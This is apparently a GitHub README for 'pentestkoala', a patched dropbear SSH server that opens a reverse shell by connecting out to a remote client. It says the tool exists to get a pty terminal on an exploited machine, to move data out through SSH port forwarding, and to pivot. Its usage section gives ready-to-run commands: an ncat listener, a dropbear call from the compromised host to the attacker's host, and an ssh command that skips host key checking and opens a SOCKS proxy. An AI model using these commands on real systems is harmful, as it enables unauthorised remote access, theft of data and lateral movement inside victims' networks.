av1080p / pentestkoala Goto Github PK

Koala is a patched version of the dropbear SSH server that instead of
binding to a port opens up reverse shells by connecting to a remote
client.

This is useful for gaining a pty terminal on an exploited machine and
also for secure exfiltration of data via SSH port forwarding. Pivoting
can also be done by using the dynamic SSH port forwarding feature.


[Usage]

Run the following command on the client to listen for the SSH connection:
$ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'

On the exploited host run:
$ ./dropbear -p client-host:5000

Now on the client, connect to port 9999 to open up a shell:
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999